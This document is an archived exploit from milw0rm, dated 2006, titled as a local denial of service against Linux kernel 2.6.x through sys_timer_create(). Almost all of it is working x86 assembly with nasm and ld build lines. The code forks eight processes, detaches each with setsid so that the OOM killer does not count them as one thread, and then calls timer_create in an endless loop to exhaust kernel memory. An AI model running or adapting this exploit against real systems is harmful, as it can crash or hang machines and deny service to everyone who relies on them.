Linux Kernel 2.6.x - 'sys_timer_create()' Local Denial of Service

;nasm -f elf noHeaven.asm
;ld -s -o noHeaven noHeaven.o

section .text
   global _start

count   equ     8       ; threads count - do it quicker

_start:
       mov     ebx, count
       call    create_threads
       jmp     done
_pause:
       mov     eax,29
       int     0x80
       ret
create_threads:
       mov     eax,2
       int     0x80
       test    eax,eax
       jz      consume
       dec     ebx
       test    ebx,ebx
       jnz     create_threads
       ret
consume:
setsid:         ;       so we won't get counted as one thread in oom_killer()
       xor     ebx,ebx ;       each task will have about 20 oom_score which
       mov     eax,66 ;        is less than 'init' and others
       int     0x80
       push    eax
loopek:
       mov     eax,259
       mov     ebx,0
       mov     ecx,0
       mov     edx,esp
       int     0x80
       jmp     loopek
done:
       xor     ebx,ebx
       mov     eax,1
       int     0x80

; milw0rm.com [2006-04-09]